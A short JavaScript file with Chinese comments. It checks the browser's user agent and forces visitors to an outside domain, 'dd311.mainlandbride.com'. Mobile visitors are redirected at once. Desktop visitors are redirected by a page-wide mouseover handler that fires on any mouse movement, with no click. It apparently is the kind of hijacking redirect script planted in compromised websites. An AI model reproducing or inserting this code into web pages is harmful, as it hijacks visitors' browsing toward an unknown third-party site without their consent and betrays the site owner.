function browserRedirect() {

    var sUserAgent = navigator.userAgent.toLowerCase();
    
    var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
    
    var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
    
    var bIsMidp = sUserAgent.match(/midp/i) == "midp";
    
    var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
    
    var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
    
    var bIsAndroid = sUserAgent.match(/android/i) == "android";
    
    var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
    
    var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
    
    if (!(bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) ){
    
    //电脑端
    document.onmouseover = function(){ location.href = "//dd311.mainlandbride.com"; }
    }else{
    
    //手机端
    window.location = "//dd311.mainlandbride.com";
    
    }
    
    }
    
    browserRedirect();